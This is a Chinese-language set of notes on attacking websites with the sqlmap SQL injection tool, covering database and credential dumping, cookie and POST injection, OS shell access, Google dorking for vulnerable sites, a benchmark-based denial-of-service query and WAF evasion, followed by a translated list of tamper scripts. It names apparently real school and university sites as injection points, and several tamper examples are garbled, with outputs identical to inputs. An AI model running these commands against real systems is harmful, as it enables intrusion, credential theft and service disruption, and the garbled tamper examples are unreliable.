SQL注入工具sqlmap的注入过程记录
1.sqlmap的get注入
假设目标是 https://www.baidu.com/news.php?id=1&data=2
sqlmap语句
列库
sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" --dbs
//假设结果显示库有3个: test1 、test2、test3
获取库test1的表
sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" -D test1 --tables
//假设有表3个:admin,user,news
获取admin表的columns
sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" -D test1 -T admin --columns
//假设有字段3个:id,username,password
获取id,username,password字段的内容
sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" -D test1 -T admin -C "id,usrename,password"
一切顺利的话 这算是完成了一次注入
2.sqlmap的post注射
post肯定要post内容,这个内容一般是表单神马的。可以配合burpsuite,也可以自己手工填写,当然,sqlmap之所以叫做神器,那是因为它自己完全可以搞定
target还是https://www.baidu.com/news.php
post的内容是 username=&password=
可以用sqlmap的随机值,也可以自己随便填下username=admin&password=123
那么sqlmap语句是:
列库
sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" -data="username=admin&password=123" --dbs
后续步骤一样
偷懒不想填post内容可以这样
sqlmap.py -u "https://www.baidu.com/news.php?id=1&data=2" --forms
sqlmap自动获取表单,问你是否填写神马的,然后填不填都可以
然后用sqlmap虐sqli-labs的话,我记得lessen4和10 要升到level2才可以
然后是sqlmap的绕过脚本,在最后带上参数 ----tamper "space2morehash.py"
双引号里面的脚本有哪些,有什么作用请呆着疑问往下看。
以上手敲的
下面是 羽翼SQLMAP系列课程笔记
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常用语句
sqlmap -u https://www.target.com/id=2
--dbs
--tables -D whatA
--columns -D databaseA -T tableA
--dump -D databaseA -T tableA -C "username,password"
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cookie注入
注入点:https://www.ntjx.org/jsj/DownloadShow.asp?id=9
语句sqlmap -u "https://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2
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post注入
注入点:https://testasp.vulnweb.com/Login.asp
配合Burpsuite:./sqlmap.py -r search-test.txt -p tfUPass
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自动获取
sqlmap -u https://testasp.vulnweb.com/Login.asp --forms
指定参数
sqlmap -u https://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"
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交互式写shell需要指定根目录
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sqlmap -u https://www.target.com/id=2 --os-cmd=ipconfig
执行ipconfig
sqlmap -u https://www.target.com/id=2 --os-shell
获得一个shell即时执行命令,会生成文件 tmpbxbxz.php 和 tmppuoiuz.php
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伪静态注入点:https://www.target.com/ndex.php/Index/view/id/40.html
sqlmap -u https://www.target.com/ndex.php/Index/view/id/40*.html --dbs//注意*位置,在有注入的地方,后面你懂的
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请求延时
注入点:https://sfl.fzu.edu.cn/index.php/Index/view/id/40.html
参数 --delay --safe-freq
sqlmap --dbs -u https://www.target.com/ndex.php/Index/view/id/40*.html --delay 0.5//延时0.5秒
sqlmap --dbs -u https://www.target.com/ndex.php/Index/view/id/40*.html --safe-freq//请求2次
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google关键字找注入点
sqlmap-g inurl:php?id=1
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sqlmapDDoS攻击
sqlmap -u https://www.target.com/id=2 --sql-shell
获得一个即时shell,执行
select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)
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sqlmap绕过WAF防火墙
注入点:https://www.target.com/id=2
sqlmap -u https://192.168.159.1/news.php?id=1 -v 3 --dbs--batch --tamper "space2morehash.py"
tamper文件夹下自行发挥
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sqlmap查看 权限及可执行函数
sqlmap -u https://www.target.com/id=2 --privileges
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一下是sqlmap的绕过脚本的解释:
sqlmap自带的绕过脚本,简单翻译了一下,部分可能翻译的不到位,见谅。。
apostrophemask.py UTF-8编码
Example:
* Input: AND '1'='1'
* Output: AND '1'='1'
apostrophenullencode.py unicode编码
Example:
* Input: AND '1'='1'
* Output: AND '1'='1'
appendnullbyte.py 添加
Example:
* Input: AND 1=1
* Output: AND 1=1
Requirement:
* Microsoft Access
base64encode.py base64编码
Example:
* Input: 1' AND SLEEP(5)#
* Output: MScgQU5EIFNMRUVQKDUpIw==
between.py 以“not between”替换“>”
Example:
* Input: 'A > B'
* Output: 'A NOT BETWEEN 0 AND B'
bluecoat.py 以随机的空白字符替代空格,以“like”替代“=”
Example:
* Input: SELECT id FROM users where id = 1
* Output: SELECT id FROM users where id LIKE 1
Requirement:
* MySQL 5.1, SGOS
chardoubleencode.py 双重url编码
Example:
* Input: SELECT FIELD FROM TABLE
* Output: SELECT FIELD FROM TABLE
charencode.py url编码
Example:
* Input: SELECT FIELD FROM TABLE
* Output: SELECT FIELD FROM TABLE
charunicodeencode.py 对未进行url编码的字符进行unicode编码
Example:
* Input: SELECT FIELD FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
Requirement:
* ASP
* ASP.NET
equaltolike.py 以“like”替代“=”
Example:
* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1
halfversionedmorekeywords.py在每个关键字前添加条件注释
Example:
* Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
* Output: value'--
Requirement:
* MySQL
modsecurityzeroversioned.py 条件注释,0000
Example:
* Input: 1 AND 2>1--
* Output: 1 --
Requirement:
* MySQL
multiplespaces.py 添加多个空格
Example:
* Input: UNION SELECT
* Output:UNIONSELECT
nonrecursivereplacement.py 可以绕过对关键字删除的防注入(这个我也不知道怎么说好,看例子。。。)
Example:
* Input: 1 UNION SELECT 2--
* Output: 1 UNUNIONION SELSELECTECT 2--
percentage.py 在每个字符前添加百分号(%)
Example:
* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Requirement:
* ASP
randomcase.py 随即大小写
Example:
* Input: INSERT
* Output: InsERt
randomcomments.py 随机插入区块注释
Example:
'INSERT' becomes 'INSERT'
securesphere.py 语句结尾添加“真”字符串
Example:
* Input: AND 1=1
* Output: AND 1=1 and '0having'='0having'
sp_password.py 语句结尾添加“sp_password”迷惑数据库日志(很。。。)
Example: www.2cto.com
* Input: 1 AND 9227=9227--
* Output: 1 AND 9227=9227--sp_password
Requirement:
* MSSQL
space2comment.py 以区块注释替换空格
Example:
* Input: SELECT id FROM users
* Output: SELECTidFROMusers
space2dash.py 以单行注释“--”和随机的新行替换空格
Example:
* Input: 1 AND 9227=9227
* Output: 1--PTTmJopxdWJ AND--cWfcVRPV 9227=9227
Requirement:
* MSSQL
* SQLite
space2hash.py 以单行注释“#”和由随机字符组成的新行替换空格
Example:
* Input: 1 AND 9227=9227
* Output: 1#PTTmJopxdWJ AND#cWfcVRPV 9227=9227
Requirement:
* MySQL
space2morehash.py 没看出来和上面那个有什么区别。。
Requirement:
* MySQL >= 5.1.13
space2mssqlblank.py 以随机空白字符替换空格
Example:
* Input: SELECT id FROM users
* Output: SELECTidFROMusers
Requirement:
* Microsoft SQL Server
space2mssqlhash.py 以单行注释“#”和新行替换空格
Example:
* Input: 1 AND 9227=9227
* Output: 1# 9227=9227
Requirement:
* MSSQL
* MySQL
space2mysqlblank.py 以随机空白字符替换空格
Example:
* Input: SELECT id FROM users
* Output: SELECTidFROM?users
Requirement:
* MySQL
space2mysqldash.py 以单行注释和新行替换空格
Example:
* Input: 1 AND 9227=9227
* Output: 1-- AND-- 9227=9227
Requirement:
* MySQL
* MSSQL
space2plus.py 以“+”替换空格
Example:
* Input: SELECT id FROM users
* Output: SELECT+id+FROM+users
space2randomblank.py 随机空白字符替换空格
Example:
* Input: SELECT id FROM users
* Output: SELECT\rid\tFROM\nusers
unionalltounion.py 以“union all”替换“union”
Example:
* Input: -1 UNION ALL SELECT
* Output: -1 UNION SELECT
unmagicquotes.py 以“?'”替换单引号,并在结尾添加注释“--”
Example:
* Input: 1' AND 1=1
* Output: 1?' AND 1=1--
versionedkeywords.py 对不是函数的关键字条件注释
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1,,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()),CHAR(32)),CHAR(58,100,114,117,58))#
Requirement:
* MySQL
versionedmorekeywords.py 对关键字条件注释
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1,,((58,122,114,115,58),(CAST(()),(32)),(58,115,114,121,58))#
Requirement:
* MySQL >= 5.1.13
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如果web应用使用asp/asp.net开发,charunicodeencode.py和percentage.py可以帮助你逃避Waf的检测。
有意思的是,asp允许在字符之间使用多个%号间隔,比如 AND 1=%%%%%%%%1 是合法的!